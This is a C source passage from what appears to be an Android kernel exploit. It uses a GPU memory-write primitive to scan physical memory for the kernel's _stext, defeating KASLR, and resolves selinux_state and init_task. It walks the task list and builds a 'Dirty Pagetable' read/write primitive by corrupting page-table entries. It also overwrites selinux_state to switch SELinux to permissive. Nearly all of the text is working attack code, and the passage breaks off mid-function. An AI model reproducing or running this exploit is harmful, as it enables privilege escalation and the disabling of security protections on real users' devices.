    uint8_t bulk_buffer[BULK_READ_PAGES * GPU_SCAN_OVERLAP];

    for (uint64_t page_pa = scan_start; page_pa < scan_end; page_pa += PAGE_SIZE) {
        struct bulk_read_stats stats = {0};

        if ((page_pa & 0xfff) == 0 &&
            (page_pa + (BULK_READ_PAGES * PAGE_SIZE)) <= scan_end) {

            size_t bulk_size = BULK_READ_PAGES * GPU_SCAN_OVERLAP;
            if (ReadPhysBytesBulk(cheese, page_pa, bulk_buffer, bulk_size, &stats) == 0) {
                for (int i = 0; i < BULK_READ_PAGES; i++) {
                    uint8_t* page_data = bulk_buffer + (i * GPU_SCAN_OVERLAP);

                    uint64_t q0 = load_le64(page_data);
                    uint64_t q1 = load_le64(page_data + 8);
                    if (q0 != fw_stext_sig1() || q1 != fw_stext_sig2()) continue;

                    uint32_t words[6] = {0};
                    bool context_ok = true;
                    for (int j = 0; j < 6; j++) {
                        words[j] = load_le32(page_data + j * 4);
                        if (words[j] != FW_STEXT_WORDS[j]) context_ok = false;
                    }

                    if (context_ok) {
                        result->hit = true;
                        result->hit_pa = page_pa + (i * PAGE_SIZE);
                        result->kernel_base_pa = result->hit_pa - SAMSUNG_STEXT_OFFSET;
                        fprintf(stderr, "found _stext at 0x%lx\n", result->hit_pa);
                        fprintf(stderr, "kernel_base_pa = 0x%lx\n", result->kernel_base_pa);
                        return 0;
                    } else {
                        result->partial_false_positives++;
                    }
                }

                page_pa += (BULK_READ_PAGES - 1) * PAGE_SIZE;
                result->pages_scanned += BULK_READ_PAGES;
                continue;
            }
        }
    }
    return 1;
}

uint64_t kernel_pread_u64(struct cheese_gpu_rw* cheese, uint64_t paddr) {
    uint64_t val = 0;
    ReadPhys64(cheese, paddr, &val);
    return val;
}

void kernel_pwrite_u64(struct cheese_gpu_rw* cheese, uint64_t paddr, uint64_t val) {
    uint32_t values[2] = { val & 0xFFFFFFFF, (val >> 32) & 0xFFFFFFFF };
    if (setup_pagetables(cheese->target_physical_page, 1, cheese->phyaddr, kFakeGpuAddr, paddr & ~0xfffull)) return;
    sync_cache_to_gpu(cheese->target_physical_page, cheese->target_physical_page + 0x1000);
    if (DoWrite(cheese->fd, cheese->ctx_id, cheese->payload_buf, cheese->payload_gpuaddr,
                cheese->phyaddr, kFakeGpuAddr + 0x1100, true, kFakeGpuAddr + (paddr & 0xfffull), 2, values)) return;
    usleep(500000);
    sync_cache_from_gpu(cheese->target_physical_page, cheese->target_physical_page + 0x1000);
    volatile uint32_t* result_marker = cheese->target_physical_page + 0x100;
    result_marker[0] = 0;
    sync_cache_to_gpu((void*)result_marker, (void*)(result_marker+1));
}

static uint64_t fw_pa_from_stext(uint64_t runtime_stext_pa, uint64_t symbol_va) {
    if (runtime_stext_pa == 0 || symbol_va < FW_STEXT_VA) return 0;
    return runtime_stext_pa + (symbol_va - FW_STEXT_VA);
}

static int gpu_pwrite_u64_wait(struct cheese_gpu_rw* cheese, uint64_t paddr, uint64_t val) {
    uint32_t values[2] = {
        (uint32_t)(val & 0xFFFFFFFFULL),
        (uint32_t)((val >> 32) & 0xFFFFFFFFULL),
    };
    volatile uint32_t* marker = (volatile uint32_t*)((uint8_t*)cheese->target_physical_page +
                                                     GPU_MARKER_OFFSET);

    marker[0] = 0;
    sync_cache_to_gpu((void*)marker, (void*)(marker + 1));

    if (setup_pagetables(cheese->target_physical_page, 1, cheese->phyaddr,
                         kFakeGpuAddr, paddr & ~0xfffULL)) return 1;
    sync_cache_to_gpu(cheese->target_physical_page,
                      (uint8_t*)cheese->target_physical_page + PAGE_SIZE);

    if (DoWrite(cheese->fd, cheese->ctx_id, cheese->payload_buf, cheese->payload_gpuaddr,
                cheese->phyaddr, kFakeGpuAddr + 0x1000 + GPU_MARKER_OFFSET,
                true, kFakeGpuAddr + (paddr & 0xfffULL), 2, values)) return 1;

    if (wait_for_marker_at(cheese, GPU_MARKER_OFFSET, GPU_MARKER_VALUE)) return 1;
    marker[0] = 0;
    sync_cache_to_gpu((void*)marker, (void*)(marker + 1));
    return 0;
}

static int run_write_selftest(struct cheese_gpu_rw* cheese) {
    const size_t scratch_off = GPU_WRITE_SCRATCH_OFFSET;
    const uint64_t patterns[] = {
        0x3157455345454843ULL, // "CHEESEW1" 
        0x3257455345454843ULL, // "CHEESEW2"
    };
    volatile uint64_t* scratch = (volatile uint64_t*)((uint8_t*)cheese->target_physical_page +
                                                     scratch_off);
    volatile uint32_t* marker = (volatile uint32_t*)((uint8_t*)cheese->target_physical_page +
                                                    GPU_MARKER_OFFSET);

    fprintf(stderr, "write selftest...\n");

    if (setup_pagetables(cheese->target_physical_page, 1, cheese->phyaddr,
                         kFakeGpuAddr, KERNEL_PHYS_BASE)) return 1;
    sync_cache_to_gpu(cheese->target_physical_page,
                      (uint8_t*)cheese->target_physical_page + PAGE_SIZE);
    sync_cache_from_gpu((void*)scratch, (void*)(scratch + 1));
    uint64_t original = *scratch;

    for (size_t i = 0; i < sizeof(patterns) / sizeof(patterns[0]); i++) {
        uint32_t values[2] = {
            (uint32_t)(patterns[i] & 0xFFFFFFFFULL),
            (uint32_t)(patterns[i] >> 32),
        };

        marker[0] = 0;
        sync_cache_to_gpu((void*)marker, (void*)(marker + 1));
        if (DoWrite(cheese->fd, cheese->ctx_id, cheese->payload_buf, cheese->payload_gpuaddr,
                    cheese->phyaddr, kFakeGpuAddr + 0x1000 + GPU_MARKER_OFFSET,
                    true, kFakeGpuAddr + 0x1000 + scratch_off, 2, values)) {
            fprintf(stderr, "scratch write command failed pattern[%zu]\n", i);
            return 1;
        }
        if (wait_for_marker_at(cheese, GPU_MARKER_OFFSET, GPU_MARKER_VALUE)) {
            fprintf(stderr, "scratch write marker timeout pattern[%zu]\n", i);
            return 1;
        }
        sync_cache_from_gpu((void*)scratch, (void*)(scratch + 1));
        if (*scratch != patterns[i]) {
            fprintf(stderr, "scratch write verify failed\n");
            return 1;
        }
    }

    uint32_t restore_values[2] = {
        (uint32_t)(original & 0xFFFFFFFFULL),
        (uint32_t)(original >> 32),
    };
    marker[0] = 0;
    sync_cache_to_gpu((void*)marker, (void*)(marker + 1));
    if (DoWrite(cheese->fd, cheese->ctx_id, cheese->payload_buf, cheese->payload_gpuaddr,
                cheese->phyaddr, kFakeGpuAddr + 0x1000 + GPU_MARKER_OFFSET,
                true, kFakeGpuAddr + 0x1000 + scratch_off, 2, restore_values)) {
        fprintf(stderr, "scratch restore command failed\n");
        return 1;
    }
    if (wait_for_marker_at(cheese, GPU_MARKER_OFFSET, GPU_MARKER_VALUE)) {
        fprintf(stderr, "scratch restore marker timeout\n");
        return 1;
    }
    sync_cache_from_gpu((void*)scratch, (void*)(scratch + 1));
    if (*scratch != original) {
        fprintf(stderr, "scratch restore verify failed (0x%016lx != 0x%016lx)\n", *scratch, original);
        return 1;
    }
    fprintf(stderr, "write selftest passed and scratch restored\n");
    return 0;
}

static int read_selinux_enforce_file(void) {
    char c = 0;
    int fd = open("/sys/fs/selinux/enforce", O_RDONLY | O_CLOEXEC);
    if (fd < 0) return -1;
    ssize_t n = read(fd, &c, 1);
    close(fd);
    if (n != 1) return -1;
    if (c == '0') return 0;
    if (c == '1') return 1;
    return -1;
}

static void log_fw_symbol_pas(uint64_t runtime_stext_pa) {
}

static int run_selinux_rmw(struct cheese_gpu_rw* cheese, uint64_t runtime_stext_pa) {
    uint64_t selinux_pa = fw_pa_from_stext(runtime_stext_pa, FW_SELINUX_STATE_VA);
    uint64_t original = 0, verify = 0;
    int enforce_before = read_selinux_enforce_file();

    if (!selinux_pa) {
        fprintf(stderr, "runtime _stext PA unresolved for SELinux RMW\n");
        return 1;
    }

    fprintf(stderr, "selinux permissive...\n");
    log_fw_symbol_pas(runtime_stext_pa);

    if (ReadPhys64(cheese, selinux_pa, &original)) {
        fprintf(stderr, "failed to read selinux_state original\n");
        return 1;
    }

    if (enforce_before != 1 || (original & 0xff) != 1 ||
        ((original >> 8) & 0xff) != 0 || ((original >> 16) & 0xff) != 1) {
        fprintf(stderr, "precondition failed; refusing SELinux overwrite\n");
        return 1;
    }

    uint64_t patched = original & ~0xffULL;
    if (gpu_pwrite_u64_wait(cheese, selinux_pa, patched)) {
        fprintf(stderr, "SELinux RMW write command failed\n");
        return 1;
    }

    usleep(100000);
    if (ReadPhys64(cheese, selinux_pa, &verify)) {
        fprintf(stderr, "failed to read selinux_state verify\n");
        return 1;
    }
    int enforce_after = read_selinux_enforce_file();

    if ((verify & 0xff) == 0 && enforce_after == 0) {
        fprintf(stderr, "SELinux enforcing overwrite verified\n");
        return 0;
    }

    fprintf(stderr, "SELinux overwrite verification failed\n");
    return 1;
}

// VA to PA Conversion

uint64_t kernel_va_to_pa(struct cheese_gpu_rw* cheese, uint64_t kva) {
    if (!is_valid_kernel_va(kva)) return 0;

    uint64_t low_linear_pa = low_linear_va_to_pa(kva);
    if (low_linear_pa) return low_linear_pa;

    uint64_t upper = kva >> 36;
    if (upper >= 0xFFFFFF8 && upper <= 0xFFFFFFB) {
        if (cheese->swapper_pg_dir_phys == 0) return 0;
        
        uint64_t pgd_idx = (kva >> 30) & 0x1FF;
        uint64_t pgd_entry = kernel_pread_u64(cheese, cheese->swapper_pg_dir_phys + pgd_idx * 8);
        if ((pgd_entry & 0x3) != 0x3) return 0;
        
        uint64_t pmd_base = pgd_entry & 0x0000FFFFFFFFF000ULL;
        uint64_t pmd_idx = (kva >> 21) & 0x1FF;
        uint64_t pmd_entry = kernel_pread_u64(cheese, pmd_base + pmd_idx * 8);
        
        if ((pmd_entry & 0x3) == 0x1) return (pmd_entry & 0x0000FFFFFFE00000ULL) | (kva & 0x1FFFFFULL);
        if ((pmd_entry & 0x3) != 0x3) return 0;
        
        uint64_t pte_base = pmd_entry & 0x0000FFFFFFFFF000ULL;
        uint64_t pte_idx = (kva >> 12) & 0x1FF;
        uint64_t pte_entry = kernel_pread_u64(cheese, pte_base + pte_idx * 8);
        if ((pte_entry & 0x1) == 0) return 0;
        
        return (pte_entry & 0x0000FFFFFFFFF000ULL) | (kva & 0xFFFULL);
    }
    
    return kva - SAMSUNG_LINEAR_MAP_BASE + KERNEL_PHYS_BASE;
}

// Samsung KASLR Bypass

// ARM64 Image header magic "ARM\x64" at offset 0x38 from kernel_base
// This is mandatory for ALL ARM64 kernels regardless of config/firmware version

static int verify_fw_stext_at(struct cheese_gpu_rw* cheese, uint64_t stext_pa) {
    uint8_t head[GPU_SCAN_OVERLAP] = {0};
    uint64_t q0 = 0, q1 = 0;
    uint32_t words[6] = {0};
    bool have_bulk = false;

    if ((stext_pa & 3) != 0) return 1;

    if (((stext_pa & 0xfffULL) + sizeof(head)) <= PAGE_SIZE) {
        struct bulk_read_stats stats = {0};
        if (ReadPhysBytesBulk(cheese, stext_pa, head, sizeof(head), &stats) == 0) {
            have_bulk = true;
            q0 = load_le64(head);
            q1 = load_le64(head + 8);
        }
    }

    if (!have_bulk) {
        if (ReadPhys64(cheese, stext_pa, &q0) ||
            ReadPhys64(cheese, stext_pa + 8, &q1)) {
            return 1;
        }
    }
    if (q0 != fw_stext_sig1() || q1 != fw_stext_sig2()) return 1;

    for (int i = 0; i < 6; i++) {
        if (have_bulk) {
            words[i] = load_le32(head + i * 4);
        } else {
            uint32_t word = 0;
            if (ReadPhys32(cheese, stext_pa + i * 4, &word)) return 1;
            words[i] = word;
        }
    }

    for (int i = 0; i < 6; i++)
        if (words[i] != FW_STEXT_WORDS[i]) return 1;
    return 0;
}

static int read_phys_u64_bulk_only(struct cheese_gpu_rw* cheese,
                                   uint64_t phys_addr,
                                   uint64_t* out_val,
                                   const char* label);

static int init_fw_symbols_from_stext(struct cheese_gpu_rw* cheese, uint64_t stext_pa) {
    uint64_t swapper_q0 = 0, init_q0 = 0, selinux_q0 = 0;

    if (verify_fw_stext_at(cheese, stext_pa)) {
        fprintf(stderr, "FW _stext verification failed at 0x%lx\n", stext_pa);
        return 1;
    }

    cheese->runtime_stext_pa = stext_pa;
    cheese->kernel_base_pa = stext_pa - SAMSUNG_STEXT_OFFSET;
    cheese->swapper_pg_dir_phys = fw_pa_from_stext(stext_pa, FW_SWAPPER_PG_DIR_VA);
    cheese->init_task_phys = fw_pa_from_stext(stext_pa, FW_INIT_TASK_VA);
    cheese->selinux_state_phys = fw_pa_from_stext(stext_pa, FW_SELINUX_STATE_VA);

    fprintf(stderr, "FW symbols resolved\n");

    if (read_phys_u64_bulk_only(cheese, cheese->swapper_pg_dir_phys,
                                &swapper_q0, "swapper_pg_dir") ||
        read_phys_u64_bulk_only(cheese, cheese->init_task_phys,
                                &init_q0, "init_task") ||
        read_phys_u64_bulk_only(cheese, cheese->selinux_state_phys,
                                &selinux_q0, "selinux_state")) {
        fprintf(stderr, "symbol sanity read failed\n");
        return 1;
    }

    if ((swapper_q0 & 0x3) == 0) {
        fprintf(stderr, "swapper_pg_dir does not look like valid page-table data\n");
        return 1;
    }
    if ((selinux_q0 & 0xff) > 1 || ((selinux_q0 >> 8) & 0xff) > 1 ||
        ((selinux_q0 >> 16) & 0xff) > 1) {
        fprintf(stderr, "selinux_state first bytes do not match expected boolean layout\n");
        return 1;
    }

    return 0;
}

static int find_fw_stext_for_chain(struct cheese_gpu_rw* cheese, uint64_t* out_stext_pa) {
    const struct {
        uint64_t start;
        uint64_t end;
        const char* tag;
    } quick_ranges[] = {
        { 0xa8000000ULL, 0xa80b0000ULL, "lower-gap" },
        { 0xa80b0000ULL, 0xa81b0000ULL, "candidate0" },
        { 0xa8180000ULL, 0xa8280000ULL, "candidate1" },
        { 0xa81c0000ULL, 0xa82c0000ULL, "candidate2" },
        { 0xa8270000ULL, 0xa8370000ULL, "candidate3" },
        { 0xa8400000ULL, 0xa8500000ULL, "candidate4" },
    };

    const char* env_stext = getenv("CHEESE_STEXT_PA");
    if (env_stext && env_stext[0]) {
        uint64_t stext_pa = strtoull(env_stext, NULL, 0);
        fprintf(stderr, "Using CHEESE_STEXT_PA=0x%lx\n", stext_pa);
        if (verify_fw_stext_at(cheese, stext_pa)) {
            fprintf(stderr, "CHEESE_STEXT_PA didn't verify as _stext\n");
            return 1;
        }
        *out_stext_pa = stext_pa;
        return 0;
    }

    /* _stext is page-aligned (kernel base granularity 0x10000), so its signature
    sits at a page head. The pagehead scan reads only the first 0x40 bytes of
    each 0x1000 page, finding it cheaply even when the GPU read path is slow. */
    for (size_t i = 0; i < sizeof(quick_ranges) / sizeof(quick_ranges[0]); i++) {
        struct stext_scan_result result;
        scan_pagehead_stext_range(cheese, quick_ranges[i].start,
                                  quick_ranges[i].end, &result);
        if (result.hit) {
            *out_stext_pa = result.hit_pa;
            return 0;
        }
    }

    if (!getenv("CHEESE_CHAIN_FULL_SCAN")) {
        fprintf(stderr, "quick FW _stext scan failed; set CHEESE_STEXT_PA or CHEESE_CHAIN_FULL_SCAN=1\n");
        return 1;
    }

    struct stext_scan_result result;
    scan_pagehead_stext_range(cheese, 0xa8000000ULL, 0xa9000000ULL, &result);
    if (result.hit) {
        *out_stext_pa = result.hit_pa;
        return 0;
    }
    return 1;
}

// GPU R/W Setup

const uint64_t gPhyAddrs[] = {
    /* iQOO11Pro/Type010 verified candidates (0xfeb..0xff8 region, high-frequency) */
    0xfebeb000, 0xfebec000, 0xfebea000, 0xfebbd000, 0xfebd1000, 0xfebf2000,
    0xfeb00000, 0xfeb10000, 0xfeb20000, 0xfeb30000, 0xfeb40000, 0xfeb50000,
    0xfeb60000, 0xfeb70000, 0xfeb80000, 0xfeba0000, 0xfebc0000, 0xfebe0000,
    0xfec00000, 0xfec40000, 0xfec80000, 0xfed00000, 0xfed80000, 0xfee00000,
    0xfee80000, 0xff000000, 0xff800000,
    /* legacy low-region candidates */
    0x82800000, 0x84000000, 0x86000000, 0x88000000, 0xa5000000, 0xaa000000,
    0xb0000000, 0xb8000000, 0xc0000000, 0xc8000000, 0xd0000000, 0xd4000000,
    0xda000000, 0xe0000000, 0xe8000000, 0xf0000000, 0xf6000000, 0xfc400000,
    /* >4GB 候选已移除: SMMU_TABLE_UPDATE 32位截断, 且 spray 页全在 <4GB, 永不命中 */
};
#define NUM_PHYADDRS (sizeof(gPhyAddrs) / sizeof(gPhyAddrs[0]))

// Task Struct Traversal

static uint32_t task_walk_max_steps(void) {
    const char* value = getenv("CHEESE_TASK_WALK_MAX");
    if (!value || !*value) return 4096;
    uint32_t max_steps = (uint32_t)strtoul(value, NULL, 0);
    if (max_steps < 16) max_steps = 16;
    if (max_steps > 65536) max_steps = 65536;
    return max_steps;
}

static int task_walk_read_u64(struct cheese_gpu_rw* cheese, uint64_t pa,
                              uint64_t* out) {
    if (ReadPhys64(cheese, pa, out) == 0) return 0;

    // ReadPhys64 can transiently fail; fall back to two 32-bit bulk reads.
    if ((pa & 3) == 0 && ((pa & 0xfffULL) + sizeof(uint64_t)) <= PAGE_SIZE) {
        uint32_t words[2] = {0, 0};
        if (ReadPhysDwords(cheese, pa, words, 2) == 0) {
            *out = ((uint64_t)words[1] << 32) | words[0];
            return 0;
        }
    }
    return -1;
}

static int list_va_to_pa(struct cheese_gpu_rw* cheese,
                                    uint64_t list_entry_va,
                                    int64_t* kernel_offset,
                                    bool* kernel_offset_calculated,
                                    uint64_t* list_entry_pa) {
    if (!list_entry_va || !is_valid_kernel_va(list_entry_va)) return -1;

    uint64_t upper = list_entry_va >> 36;
    bool is_linear = (upper >= 0xFFFFFFC && upper <= 0xFFFFFFF);
    bool is_vmalloc = (upper >= 0xFFFFFF8 && upper <= 0xFFFFFFB);

    if (is_linear) {
        *list_entry_pa = list_entry_va - SAMSUNG_LINEAR_MAP_BASE + KERNEL_PHYS_BASE;
    } else if (is_vmalloc) {
        if (*kernel_offset_calculated) {
            *list_entry_pa = (uint64_t)((int64_t)list_entry_va + *kernel_offset);
        } else {
            *list_entry_pa = kernel_va_to_pa(cheese, list_entry_va);
            if (*list_entry_pa == 0) return -1;
            *kernel_offset = (int64_t)*list_entry_pa - (int64_t)list_entry_va;
            *kernel_offset_calculated = true;
        }
    } else {
        return -1;
    }

    if (*list_entry_pa < 0x80000000 || *list_entry_pa > 0xA000000000ULL) return -1;
    return 0;
}

static uint64_t get_task_by_pid_direction(struct cheese_gpu_rw* cheese,
                                          uint32_t target_pid,
                                          uint32_t link_off,
                                          bool emit_found_log) {
    if (cheese->init_task_phys == 0) return 0;

    uint64_t init_task_tasks_phys = cheese->init_task_phys + OFFSETOF_TASK_STRUCT_TASKS;
    uint64_t current_tasks_member_phys = init_task_tasks_phys;
    int64_t kernel_offset = 0;
    bool kernel_offset_calculated = false;
    uint32_t count = 0;
    uint32_t max_steps = task_walk_max_steps();

    do {
        uint64_t current_task_phys = current_tasks_member_phys - OFFSETOF_TASK_STRUCT_TASKS;
        uint64_t pid_64 = 0;

        if (task_walk_read_u64(cheese, current_task_phys + OFFSETOF_TASK_STRUCT_PID,
                               &pid_64) != 0) {
            break;
        }
        uint32_t pid = (uint32_t)(pid_64 & 0xFFFFFFFF);

        if (pid == target_pid) {
            if (emit_found_log) fprintf(stderr, "found task at 0x%lx\n", current_task_phys);
            return current_task_phys;
        }

        uint64_t list_entry_va = 0;
        uint64_t list_entry_pa = 0;
        if (task_walk_read_u64(cheese, current_tasks_member_phys + link_off,
                               &list_entry_va) != 0) {
            break;
        }
        if (list_va_to_pa(cheese, list_entry_va, &kernel_offset,
                                     &kernel_offset_calculated,
                                     &list_entry_pa)) {
            break;
        }

        current_tasks_member_phys = list_entry_pa;
        count++;
    } while (current_tasks_member_phys != init_task_tasks_phys && count < max_steps);

    return 0;
}

uint64_t get_curr_task_struct(struct cheese_gpu_rw* cheese) {
    uint64_t task = get_task_by_pid_direction(cheese, (uint32_t)getpid(), 8, true);
    if (task) return task;
    return get_task_by_pid_direction(cheese, (uint32_t)getpid(), 0, true);
}

// Fast R/W via Dirty Pagetable

static struct {
    uint64_t* map;
    uint64_t* page_map;
    uint64_t pte_a_index;
    uint64_t original_pte_a;
    uint64_t pte_b_pa;
    uint64_t original_pte_b;
    bool pte_b_installed;
    bool initialized;
} g_fast_rw = {0};

static void dirtypt_teardown(struct cheese_gpu_rw* cheese) {
    if (g_fast_rw.map && g_fast_rw.page_map && g_fast_rw.original_pte_a) {
        g_fast_rw.page_map[g_fast_rw.pte_a_index] = g_fast_rw.original_pte_a;
        flush_tlb_mprotect(g_fast_rw.map, PAGE_SIZE);
    }
    if (cheese && g_fast_rw.pte_b_installed && g_fast_rw.pte_b_pa &&
        g_fast_rw.original_pte_b) {
        kernel_pwrite_u64(cheese, g_fast_rw.pte_b_pa, g_fast_rw.original_pte_b);
        flush_tlb();
        g_fast_rw.pte_b_installed = false;
    }
    if (g_fast_rw.map) {
        munmap(g_fast_rw.map, PAGE_SIZE * 2);
    }
    memset(&g_fast_rw, 0, sizeof(g_fast_rw));
}

static uint64_t fast_pread_u64(struct cheese_gpu_rw* cheese, uint64_t pa) {
    if (!g_fast_rw.initialized) return 0;
    
    uint64_t target_page = pa & ~0xFFFULL;
    uint64_t offset = pa & 0xFFFULL;
    uint64_t new_pte = phys_to_readwrite_pte(target_page);
    
    g_fast_rw.page_map[g_fast_rw.pte_a_index] = new_pte;
    flush_tlb_mprotect(g_fast_rw.map, PAGE_SIZE);
    
    void* alias = (char*)g_fast_rw.map + offset;
    __asm__ volatile("dc civac, %0" : : "r" (alias) : "memory");
    __asm__ volatile("dsb ish" : : : "memory");
    uint64_t val = *(volatile uint64_t*)alias;
    
    g_fast_rw.page_map[g_fast_rw.pte_a_index] = g_fast_rw.original_pte_a;
    flush_tlb_mprotect(g_fast_rw.map, PAGE_SIZE);
    
    return val;
}

static int fast_read_phys_bytes(struct cheese_gpu_rw* cheese, uint64_t pa,
                                void* out, size_t size) {
    if (!g_fast_rw.initialized || !out || size == 0) return -1;

    uint64_t target_page = pa & ~0xFFFULL;
    uint64_t offset = pa & 0xFFFULL;
    if (offset + size > PAGE_SIZE) return -1;

    uint64_t new_pte = phys_to_readwrite_pte(target_page);
    g_fast_rw.page_map[g_fast_rw.pte_a_index] = new_pte;
    flush_tlb_mprotect(g_fast_rw.map, PAGE_SIZE);

    for (size_t i = 0; i < size; i += g_level1_dcache_size) {
        __asm__ volatile("dc civac, %0" : : "r" ((char*)g_fast_rw.map + offset + i) : "memory");
    }
    __asm__ volatile("dsb ish" : : : "memory");
    memcpy(out, (const char*)g_fast_rw.map + offset, size);

    g_fast_rw.page_map[g_fast_rw.pte_a_index] = g_fast_rw.original_pte_a;
    flush_tlb_mprotect(g_fast_rw.map, PAGE_SIZE);

    return 0;
}

// NOTE: This function does NOT restore PTE - caller must do it!

static uint64_t task_by_pid_fast_dir(struct cheese_gpu_rw* cheese,
                                               uint32_t target_pid,
                                               uint32_t link_off) {
    if (!g_fast_rw.initialized || cheese->init_task_phys == 0) return 0;

    uint64_t init_task_tasks_phys = cheese->init_task_phys + OFFSETOF_TASK_STRUCT_TASKS;
    uint64_t current_tasks_member_phys = init_task_tasks_phys;
    int64_t kernel_offset = 0;
    bool kernel_offset_calculated = false;
    uint32_t count = 0;
    uint32_t max_steps = task_walk_max_steps();

    do {
        uint64_t current_task_phys = current_tasks_member_phys - OFFSETOF_TASK_STRUCT_TASKS;
        uint64_t pid_64 = fast_pread_u64(cheese, current_task_phys + OFFSETOF_TASK_STRUCT_PID);
        uint32_t pid = (uint32_t)(pid_64 & 0xffffffffU);

        if (pid == target_pid) {
            return current_task_phys;
        }

        uint64_t list_entry_va = fast_pread_u64(cheese, current_tasks_member_phys + link_off);
        uint64_t list_entry_pa = 0;
        if (list_va_to_pa(cheese, list_entry_va, &kernel_offset,
                                     &kernel_offset_calculated,
                                     &list_entry_pa)) break;

        current_tasks_member_phys = list_entry_pa;
        count++;
    } while (current_tasks_member_phys != init_task_tasks_phys && count < max_steps);

    return 0;
}

static uint64_t get_task_by_pid_fast(struct cheese_gpu_rw* cheese, uint32_t target_pid) {
    uint32_t first_link = (target_pid == 1) ? 0 : 8;
    uint32_t second_link = (first_link == 0) ? 8 : 0;
    uint64_t task = task_by_pid_fast_dir(cheese, target_pid, first_link);
    if (task) return task;
    return task_by_pid_fast_dir(cheese, target_pid, second_link);
}

// Dirty Pagetable fast R/W setup.
// allow_selinux_write gates the optional SELinux-permissive write; R/W-only
// callers pass false and require SELinux to already be permissive.

static int dirtypt_rw_setup(struct cheese_gpu_rw* cheese,
                                         bool allow_selinux_write) {
    fprintf(stderr, "Setting up Dirty Pagetable fast R/W...\n");

    if (g_fast_rw.map || g_fast_rw.pte_b_installed || g_fast_rw.initialized) {
        dirtypt_teardown(cheese);
    }

    if (!allow_selinux_write && read_selinux_enforce_file() == 1) {
        fprintf(stderr, "SELinux is enforcing; refusing DirtyPT setup before any PTE mutation\n");
        fprintf(stderr, "Make SELinux permissive first (run the default bootstrap path).\n");
        return 1;
    }

    uint64_t tsk = 0;
    for (int attempt = 0; attempt < 3 && !tsk; attempt++) {
        tsk = get_curr_task_struct(cheese);
        if (!tsk) usleep(50000);
    }
    if (!tsk) {
        fprintf(stderr, "Failed to get task_struct\n");
        return 1;
    }

    uint64_t *map = mmap(NULL, 0x200000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map == MAP_FAILED) return 1;
    munmap((char*)map + PAGE_SIZE * 2, 0x200000 - (PAGE_SIZE * 2));

    uint64_t *page_map = (void *)((uint64_t)map + PAGE_SIZE);
    map[0] = 0x4141414141414141;
    page_map[0] = 0x4242424242424242;
    g_fast_rw.map = map;
    g_fast_rw.page_map = page_map;

    uint64_t mm_va = kernel_pread_u64(cheese, tsk + OFFSETOF_TASK_STRUCT_MM);
    if (!mm_va || !is_valid_kernel_va(mm_va)) return 1;

    uint64_t mm_pa = kernel_va_to_pa(cheese, mm_va);
    if (!mm_pa) return 1;

    uint64_t mm_pgd_va = kernel_pread_u64(cheese, mm_pa + OFFSETOF_MM_PGD);
    if (!mm_pgd_va || !is_valid_kernel_va(mm_pgd_va)) return 1;

    uint64_t mm_pgd_pa = kernel_va_to_pa(cheese, mm_pgd_va);
    if (!mm_pgd_pa) return 1;

    uint64_t pgd_offset = ((uint64_t)map >> 30) & 0x1FF;
    uint64_t pgd_entry = kernel_pread_u64(cheese, mm_pgd_pa + pgd_offset * 8);
    if ((pgd_entry & 0x3) != 0x3) return 1;

    uint64_t phys_pmd_addr = pgd_entry & 0x0000FFFFFFFFF000ULL;
    uint64_t pmd_offset = ((uint64_t)map >> 21) & 0x1FF;
    uint64_t pmd_entry = kernel_pread_u64(cheese, phys_pmd_addr + pmd_offset * 8);
    if ((pmd_entry & 0x1) == 0 || (pmd_entry & 0x3) == 0x1) return 1;

    uint64_t phys_pte_addr = pmd_entry & 0x0000FFFFFFFFF000ULL;
    uint64_t pte_offset_a = ((uint64_t)map >> 12) & 0x1FF;
    uint64_t pte_addr_a = phys_pte_addr + pte_offset_a * 8;
    uint64_t pte_addr_b = pte_addr_a + 8;

    uint64_t pte_a = kernel_pread_u64(cheese, pte_addr_a);
    uint64_t pte_b = kernel_pread_u64(cheese, pte_addr_b);
    if (pte_a == 0 || pte_b == 0) return 1;

    g_fast_rw.pte_a_index = pte_offset_a;
    g_fast_rw.original_pte_a = pte_a;
    g_fast_rw.pte_b_pa = pte_addr_b;
    g_fast_rw.original_pte_b = pte_b;

    // Corrupt PTE B to point to PTE table
    uint64_t pte_table_pa = phys_pte_addr & ~0xFFFULL;
    uint64_t new_pte_b = pte_b;
    new_pte_b &= ~0x0000FFFFFFFFF000ULL;
    new_pte_b |= (pte_table_pa & 0x0000FFFFFFFFF000ULL);
    new_pte_b &= ~(1ULL << 7);
    new_pte_b |= (1ULL << 6) | (1ULL << 10);

    kernel_pwrite_u64(cheese, pte_addr_b, new_pte_b);
    g_fast_rw.pte_b_installed = true;

    for (int i = 0; i < 100 && page_map[0] == 0x4242424242424242; i++) {
        flush_tlb();
        usleep(10000);
    }
    
    if (page_map[0] == 0x4242424242424242) {
        fprintf(stderr, "Dirty Pagetable failed\n");
        return 1;
    }
    
    fprintf(stderr, "Dirty Pagetable ready\n");

    // SELinux state check / optional permissive write
    
    uint64_t selinux_state_phys = cheese->selinux_state_phys;
    if (!selinux_state_phys) {
        fprintf(stderr, "selinux_state_phys is not initialized\n");
        return 1;
    }
    uint64_t selinux_pte = phys_to_readwrite_pte(selinux_state_phys);
    
    page_map[pte_offset_a] = selinux_pte;
    flush_tlb();
    
    uint64_t selinux_page_offset = selinux_state_phys & 0xFFF;
    volatile uint64_t* selinux_addr = (uint64_t*)((char*)map + selinux_page_offset);
    
    uint64_t original_val = *selinux_addr;

    uint8_t selinux_enforcing = (uint8_t)(original_val & 0xffU);
    uint8_t selinux_checkreqprot = (uint8_t)((original_val >> 8) & 0xffU);
    uint8_t selinux_initialized = (uint8_t)((original_val >> 16) & 0xffU);
    if (selinux_enforcing > 1 || selinux_checkreqprot > 1 ||
        selinux_initialized != 1) {
        page_map[pte_offset_a] = pte_a;
        flush_tlb();
        fprintf(stderr, "selinux_state sanity failed: qword=0x%lx enforcing=%u checkreqprot=%u initialized=%u\n",
                  original_val, selinux_enforcing, selinux_checkreqprot,
                  selinux_initialized);
        return 1;
    }
    
    if ((original_val & 0xFF) == 1) {
        if (!allow_selinux_write) {
            page_map[pte_offset_a] = pte_a;
            flush_tlb();
            fprintf(stderr, "SELinux is still enforcing; DirtyPT setup refuses implicit SELinux overwrite\n");
            fprintf(stderr, "Make SELinux permissive first (run the default bootstrap path).\n");
            return 1;
        }
        uint64_t new_val = original_val & 0xFFFFFFFFFFFFFF00ULL;
        *selinux_addr = new_val;
        __asm__ volatile("dsb ish" : : : "memory");
        
        uint64_t verify_val = *selinux_addr;
        page_map[pte_offset_a] = pte_a;
        flush_tlb();
        
